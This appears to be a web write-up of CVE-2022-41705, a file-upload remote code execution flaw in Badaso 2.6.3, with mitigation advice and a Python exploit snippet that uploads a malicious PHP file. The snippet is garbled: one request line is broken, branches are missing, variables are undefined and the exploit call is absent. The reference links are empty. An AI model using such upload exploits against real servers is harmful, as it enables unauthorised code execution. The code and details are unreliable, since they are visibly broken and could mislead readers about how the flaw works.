Badaso is a popular web application framework that aims to make it easy for developers to create and manage modern web applications. It provides developers with a range of pre-built tools and resources to streamline the development process. Unfortunately, a critical vulnerability has been discovered in Badaso version 2.6.3 that could allow an unauthenticated remote attacker to execute arbitrary code on the server. This vulnerability has been assigned the ID CVE-2022-41705.

Exploit Details

The vulnerability in question exists due to Badaso not properly validating data uploaded by users, specifically regarding file types and extensions. As a result, this flaw can be exploited by an attacker to upload and execute malicious code without needing any authentication credentials.

To exploit this vulnerability, an attacker can send a specially crafted HTTP request, containing malicious code in a file, to the vulnerable Badaso instance. When the server receives the request, it does not perform adequate validation checks on the file, leading to the execution of the attacker’s code.

Code Snippet

The following Python code snippet demonstrates how an attacker could exploit CVE-2022-41705 to perform a Remote Code Execution (RCE) attack on a vulnerable Badaso instance:

import requests

# Replace 'TARGET_URL' with the URL of the Badaso instance
UPLOAD_ENDPOINT = '/file-upload-endpoint'

def exploit_CVE_2022_41705():
    # Discover the version number of the Badaso instance
    response = requests.get(TARGET_URL + '/api/v1/version')
    version = response.json()['compute1']['system']['version']

    # Check if Badaso version is vulnerable (2.6.3)
    if version == '2.6.3':
        print('Vulnerable Badaso version detected: ' + version)
        # Replace 'MALICIOUS_FILE' with the filepath to the malicious file
        MALICIOUS_FILE = 'example_file.php'

        # Prepare the malicious file for upload
        files = {'file': open(MALICIOUS_FILE, 'rb')}

        # Send HTTP POST request with the malicious file
        response = + UPLOAD_ENDPOINT, files=files)

        # Check if the file has been uploaded
        if response.status_code == 200:
            print('File uploaded successfully.')
            print('Failed to upload file.')
        print('Badaso version is not vulnerable.')

# Run the exploit

Mitigation & Remediation

To mitigate this vulnerability, users should upgrade their Badaso instances to the latest version available. The Badaso development team has released a patch, and upgrading to this patched version will protect your application from this exploit. To upgrade, follow the official Badaso documentation here:

1. CVE-2022-41705 -
2. Badaso -
3. Badaso Documentation -
4. Patch for CVE-2022-41705 -


The discovery of the CVE-2022-41705 vulnerability is a stark reminder of the importance of maintaining updated software and regularly checking for security updates. Unauthenticated Remote Code Execution attacks can lead to severe consequences for a web application and potentially compromise sensitive data. To ensure your application's security, make sure to follow best practices, such as input validation, sanitization, and patch management.


Published on: 11/25/2022 18:15:00 UTC
Last modified on: 11/30/2022 16:08:00 UTC